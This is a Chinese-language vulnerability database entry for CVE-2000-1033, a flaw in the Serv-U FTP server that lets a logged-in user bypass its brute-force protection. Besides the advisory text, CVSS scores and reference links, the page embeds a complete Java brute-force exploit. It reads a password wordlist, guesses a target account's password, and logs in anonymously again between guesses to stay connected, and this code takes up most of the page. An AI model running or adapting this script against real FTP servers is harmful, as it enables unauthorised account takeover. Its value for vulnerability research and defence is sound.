CVE-2000-1033
CVSS7.5
发布时间 :2000-12-11 00:00:00
修订时间 :2008-09-05 16:22:29
NMCOES    

[原文]Serv-U FTP Server allows remote attackers to bypass its anti-hammering feature by first logging on as a valid user (possibly anonymous) and then attempting to guess the passwords of other users.


[CNNVD]CatSoft FTP 服务器强力攻击漏洞(CNNVD-200012-080)

        Serv-U FTP服务器存在漏洞。远程攻击者通过作为有效的用户(可能匿名)第一次登录绕过anti-hammering性能然后试图猜测其他用户的密码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1033
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1033
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-080
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5436.php
(VENDOR_ADVISORY)  XF  ftp-servu-brute-force
http://www.securityfocus.com/bid/1860
(VENDOR_ADVISORY)  BID  1860
http://www.securityfocus.com/archive/1/141905
(UNKNOWN)  BUGTRAQ  20001029 Brute Forcing FTP Servers with enabled anti-hammering (anti brute-force) modus

- 漏洞信息

CatSoft FTP 服务器强力攻击漏洞
高危 访问验证错误
2000-12-11 00:00:00 2005-10-20 00:00:00
远程※本地  
        Serv-U FTP服务器存在漏洞。远程攻击者通过作为有效的用户(可能匿名)第一次登录绕过anti-hammering性能然后试图猜测其他用户的密码。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20334)

CatSoft FTP Serv-U 2.5.x Brute-Force Vulnerability (EDBID:20334)
windows remote
2000-10-29 Verified
0 Craig
N/A [点击下载]
source: http://www.securityfocus.com/bid/1860/info

FTP Serv-U is an internet FTP server from CatSoft. 

FTP Serv-U contains an anti brute-force security feature which does not indicate whether an account is valid or not, after three unsuccessful login attempts a user is disconnected. Reconnection is not permitted until after a specified amount of time.

It is possible for a remote user to bypass the anti brute-force function within FTP Serv-U. Once successfully logged into the server either anonymously or with a valid account, a user can from that point brute force other usernames and passwords without ever being disconnected. 

This could lead to a compromise of other user accounts on the ftp server.

import java.io.*;
import java.net.*;
import java.util.*;
public class newftpbrute
 {
	static boolean cancel=false;
 	static boolean found=false;
 	
 	static String File;
 	static String User;
  static String line="";
 	static String FTPPass;
 	static String Server="";
	
  static int Counter;
  static int tries;
  
  static BufferedReader quelle;
  static DataInputStream sin;
  static PrintStream sout;
  static Socket s = null;

	
	
	void getdata()
 	 {
 	 	try
 	 	 {
	 	  System.out.print("FTP-Server>");
	 	  DataInputStream in = new DataInputStream (System.in);
	 	  Server=in.readLine();
	 	 
	 	  System.out.print("Username>");
	 	  in = new DataInputStream (System.in);
	 	  User=in.readLine();
	 	  
	 	  System.out.print("Wordlist>");
		  in = new DataInputStream (System.in);
	 	  File=in.readLine();
		  System.out.print("\n"); 
		   try 
		  	{
		 	   quelle=new BufferedReader(new FileReader(File));
		    }
	     catch (FileNotFoundException FNF){};
 	 	 }
	   catch (IOException e){}
 	 }//getdata()
	
	
	
		
	
	void connect()
 	 {
 	 	try
 	 	 {
 	 	  s = new Socket(Server, 21);
	    sin = new DataInputStream (s.getInputStream());
	    sout = new PrintStream (s.getOutputStream());
     }
 	 	catch (IOException e){}
 	 }
	
		
	
	void CheckForAnonymous()
 	 {
 	 	try
 	 	 {
 	 	  boolean NoAno=false;
 	 	  
 	 	  sout.println("USER anonymous");
 	 	
 	 	   if ((line=sin.readLine()).indexOf("331")==-1)
 	 	   	NoAno=true;
 	 	   
 	 	   while (true)
 	 	    {
 	 	     if (line.indexOf("220")>-1)line=sin.readLine();
 	 	     else break;
 	 	    }
	     
	     
	    sout.println("pass evil_hacker@j00r_server.com");
	  
	     if ((line=sin.readLine()).indexOf("230 ")>-1)
 	 	    {
 	 	 	   System.out.println("Anonymous access allowed...");
 	 	     NoAno=false;
 	 	    }
 	  
 	     else
   	    NoAno=true;
 	 	 	 
 	 	 	 if (NoAno)
 	 	 	  {
 	 	 	   System.out.println("Anonymous Access not allowed...quitting!");
 	 	 	   System.exit(0);
 	 	 	  }
 	 
 	 	 }//try
 	 	 catch (IOException e)
 	 	 	{
 	 	 	 System.out.println("Error Connecting:"+e+" quitting...");
 	 	 	 System.exit(0);
 	 	 	}
 	 
 	 
 	 }//CheckForAnonymous
	
 
 
 
 public static void main(String[] args)
	{
 	 System.out.println("NEW type of FTP brute force\nCoded by Craig from [ H a Q u a r t e r ]\nHTTP://www.HaQuarter.De\n");
   
   newftpbrute now=new newftpbrute();
   now.getdata();
   now.connect();
   
  try
   {
   
    if ((line=sin.readLine()).indexOf("220")==-1)
		 {
		  System.out.println("Error...ftp server sends unexpected input");
		  cancel=true;
		 }
   
     
     now.CheckForAnonymous();
     
     while (cancel==false && ((FTPPass=quelle.readLine())!=null))
	    {
       Counter++;
       tries++;
       
       System.out.println("#"+tries+" "+FTPPass);
       sout.println("USER "+User);
       
       if ((line=sin.readLine()).indexOf("331 ")==-1)
       	{
       	 System.out.println("Error: username not accepted...quitting ");
         System.exit(0);
       	}
       
       sout.println("PASS "+FTPPass);
              
	 	    if ((line=sin.readLine()).indexOf("230 ")>-1)
   	     {
   	      found=true;
   	      break;
   	     }
       
              
	     if (Counter%2==0)
	     	{
	     	 System.out.println("-");
	     	 sout.println("user anonymous");
	     	 line=sin.readLine();
	     	      	 	
	     	 sout.println("pass evil_hacker@j00r_server.com");	     	 	
	     	 line=sin.readLine();
	     	 	     	 
	     	 Counter=0;
	     	}
	 
	    }//while
	      

   if (found==true)
   	System.out.println("\nAccount was cracked after "+tries+" tries. Password for user "+User+" is \""+FTPPass+"\"\n");
   
 }//try
 catch (IOException e){}



}//main
		
		
		



}//class
              			

- 漏洞信息

13754
Serv-U FTP Server Brute Force Protection Bypass
Remote / Network Access Other
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-10-30 Unknow
2000-10-30 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

CatSoft FTP Serv-U Brute-Force Vulnerability
Access Validation Error 1860
Yes Yes
2000-10-29 12:00:00 2009-07-11 03:56:00
Discovered and posted to Bugtraq by Craig <Craig@Freenet.de> on Oct 29, 2000.

- 受影响的程序版本

Cat Soft Serv-U 2.5 x
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

FTP Serv-U is an internet FTP server from CatSoft.

FTP Serv-U contains an anti brute-force security feature which does not indicate whether an account is valid or not, after three unsuccessful login attempts a user is disconnected. Reconnection is not permitted until after a specified amount of time.

It is possible for a remote user to bypass the anti brute-force function within FTP Serv-U. Once successfully logged into the server either anonymously or with a valid account, a user can from that point brute force other usernames and passwords without ever being disconnected.

This could lead to a compromise of other user accounts on the ftp server.

- 漏洞利用

Craig &lt;Craig@Freenet.de&gt; has provided the following exploit:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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